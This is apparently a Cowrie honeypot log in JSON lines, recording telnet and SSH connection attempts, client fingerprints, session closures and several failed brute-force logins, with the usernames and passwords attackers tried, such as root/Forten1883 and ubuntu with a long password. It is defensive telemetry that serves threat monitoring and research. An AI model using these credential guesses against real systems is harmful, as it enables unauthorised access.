{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":36620,"dst_ip":"159.203.135.109","dst_port":23,"session":"950ef1903e91","protocol":"telnet","message":"New connection: 79.139.59.21:36620 (159.203.135.109:23) [session: 950ef1903e91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:17:16.834104Z"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":56886,"dst_ip":"10.17.0.5","dst_port":23,"session":"8edce17242b6","protocol":"telnet","message":"New connection: 178.128.93.180:56886 (10.17.0.5:23) [session: 8edce17242b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:17:18.787530Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":46796,"dst_ip":"159.203.135.109","dst_port":22,"session":"e1e87236b883","protocol":"ssh","message":"New connection: 194.113.233.25:46796 (159.203.135.109:22) [session: e1e87236b883]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:17:23.192833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:17:23.197521Z","src_ip":"194.113.233.25","session":"e1e87236b883","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:17:23.287436Z","src_ip":"194.113.233.25","session":"e1e87236b883","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bianca","message":"login attempt [root/bianca] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:17:23.561255Z","src_ip":"194.113.233.25","session":"e1e87236b883","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.50675964355469,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:17:24.632085Z","src_ip":"165.22.57.101","session":"c3a345657c6e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:17:24.652936Z","src_ip":"194.113.233.25","session":"e1e87236b883","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":54372,"dst_ip":"159.203.135.109","dst_port":23,"session":"012182dfe29c","protocol":"telnet","message":"New connection: 69.4.83.194:54372 (159.203.135.109:23) [session: 012182dfe29c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:17:25.043918Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":37616,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a67a2320ebc","protocol":"ssh","message":"New connection: 51.250.105.222:37616 (159.203.135.109:22) [session: 7a67a2320ebc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:17:30.581408Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:17:30.591306Z","src_ip":"51.250.105.222","session":"7a67a2320ebc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:17:30.730130Z","src_ip":"51.250.105.222","session":"7a67a2320ebc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:17:31.123600Z","src_ip":"51.250.105.222","session":"7a67a2320ebc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:17:32.257255Z","src_ip":"51.250.105.222","session":"7a67a2320ebc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":34720,"dst_ip":"159.203.135.109","dst_port":23,"session":"aff906b50867","protocol":"telnet","message":"New connection: 69.4.83.194:34720 (159.203.135.109:23) [session: aff906b50867]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:17:45.696008Z"}
{"eventid":"cowrie.session.closed","duration":33.22636103630066,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:17:46.776660Z","src_ip":"69.4.83.194","session":"ff0c1c2967aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":36198,"dst_ip":"159.203.135.109","dst_port":23,"session":"58a4a70dca9c","protocol":"telnet","message":"New connection: 69.4.83.194:36198 (159.203.135.109:23) [session: 58a4a70dca9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:17:50.662101Z"}
{"eventid":"cowrie.session.closed","duration":33.17018675804138,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:17:58.213984Z","src_ip":"69.4.83.194","session":"012182dfe29c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.537580490112305,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:18:10.371580Z","src_ip":"79.139.59.21","session":"950ef1903e91","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"156.245.246.50","src_port":36872,"dst_ip":"10.17.0.5","dst_port":22,"session":"83a5b42ac1d6","protocol":"ssh","message":"New connection: 156.245.246.50:36872 (10.17.0.5:22) [session: 83a5b42ac1d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:18:11.149055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:18:11.154149Z","src_ip":"156.245.246.50","session":"83a5b42ac1d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:18:11.360572Z","src_ip":"156.245.246.50","session":"83a5b42ac1d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ali","password":"123456","message":"login attempt [ali/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:18:12.221424Z","src_ip":"156.245.246.50","session":"83a5b42ac1d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:18:13.435742Z","src_ip":"156.245.246.50","session":"83a5b42ac1d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":41382,"dst_ip":"10.17.0.5","dst_port":23,"session":"736af4ffc907","protocol":"telnet","message":"New connection: 178.128.93.180:41382 (10.17.0.5:23) [session: 736af4ffc907]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:18:16.537236Z"}
{"eventid":"cowrie.session.closed","duration":36.63668131828308,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:18:22.332555Z","src_ip":"69.4.83.194","session":"aff906b50867","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":65.44994306564331,"message":"Connection lost after 65 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:18:24.237377Z","src_ip":"178.128.93.180","session":"8edce17242b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.21131873130798,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:18:24.873288Z","src_ip":"69.4.83.194","session":"58a4a70dca9c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":56998,"dst_ip":"159.203.135.109","dst_port":23,"session":"24e30b13b160","protocol":"telnet","message":"New connection: 69.4.83.194:56998 (159.203.135.109:23) [session: 24e30b13b160]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:18:42.687584Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":58650,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a4040400ac6","protocol":"telnet","message":"New connection: 69.4.83.194:58650 (159.203.135.109:23) [session: 1a4040400ac6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:18:49.722749Z"}
{"eventid":"cowrie.session.closed","duration":35.43699884414673,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:19:18.124492Z","src_ip":"69.4.83.194","session":"24e30b13b160","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":35044,"dst_ip":"10.17.0.5","dst_port":22,"session":"d97c702dec0f","protocol":"ssh","message":"New connection: 94.159.98.239:35044 (10.17.0.5:22) [session: d97c702dec0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:19:19.484771Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:19:19.728783Z","src_ip":"94.159.98.239","session":"d97c702dec0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:19:19.734775Z","src_ip":"94.159.98.239","session":"d97c702dec0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"777777123","message":"login attempt [root/777777123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:19:20.766332Z","src_ip":"94.159.98.239","session":"d97c702dec0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:19:21.955892Z","src_ip":"94.159.98.239","session":"d97c702dec0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.35526752471924,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:19:24.077897Z","src_ip":"69.4.83.194","session":"1a4040400ac6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":70.63718676567078,"message":"Connection lost after 70 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:19:27.174324Z","src_ip":"178.128.93.180","session":"736af4ffc907","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":38442,"dst_ip":"10.17.0.5","dst_port":22,"session":"b8dddd9381d5","protocol":"ssh","message":"New connection: 103.149.28.157:38442 (10.17.0.5:22) [session: b8dddd9381d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:19:32.458211Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:19:32.466587Z","src_ip":"103.149.28.157","session":"b8dddd9381d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:19:32.714223Z","src_ip":"103.149.28.157","session":"b8dddd9381d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:19:33.460546Z","src_ip":"103.149.28.157","session":"b8dddd9381d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:19:34.710741Z","src_ip":"103.149.28.157","session":"b8dddd9381d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"156.245.246.50","src_port":39134,"dst_ip":"10.17.0.5","dst_port":22,"session":"08d948c24207","protocol":"ssh","message":"New connection: 156.245.246.50:39134 (10.17.0.5:22) [session: 08d948c24207]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:19:36.571563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:19:36.577468Z","src_ip":"156.245.246.50","session":"08d948c24207","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:19:36.784880Z","src_ip":"156.245.246.50","session":"08d948c24207","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:19:38.234847Z","src_ip":"156.245.246.50","session":"08d948c24207","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:19:39.447067Z","src_ip":"156.245.246.50","session":"08d948c24207","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":56234,"dst_ip":"159.203.135.109","dst_port":23,"session":"f162d6e6e7da","protocol":"telnet","message":"New connection: 69.4.83.194:56234 (159.203.135.109:23) [session: f162d6e6e7da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:19:50.836823Z"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":51292,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab6bd71a8da3","protocol":"telnet","message":"New connection: 178.128.93.180:51292 (10.17.0.5:23) [session: ab6bd71a8da3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:20:08.327790Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.57.101","src_port":47152,"dst_ip":"159.203.135.109","dst_port":23,"session":"d0911adefb5c","protocol":"telnet","message":"New connection: 165.22.57.101:47152 (159.203.135.109:23) [session: d0911adefb5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:20:18.769310Z"}
{"eventid":"cowrie.session.closed","duration":35.56725287437439,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:20:26.403986Z","src_ip":"69.4.83.194","session":"f162d6e6e7da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":28.296484231948853,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:20:47.065674Z","src_ip":"165.22.57.101","session":"d0911adefb5c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":50916,"dst_ip":"159.203.135.109","dst_port":23,"session":"bfe5d390a425","protocol":"telnet","message":"New connection: 69.4.83.194:50916 (159.203.135.109:23) [session: bfe5d390a425]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:20:48.145483Z"}
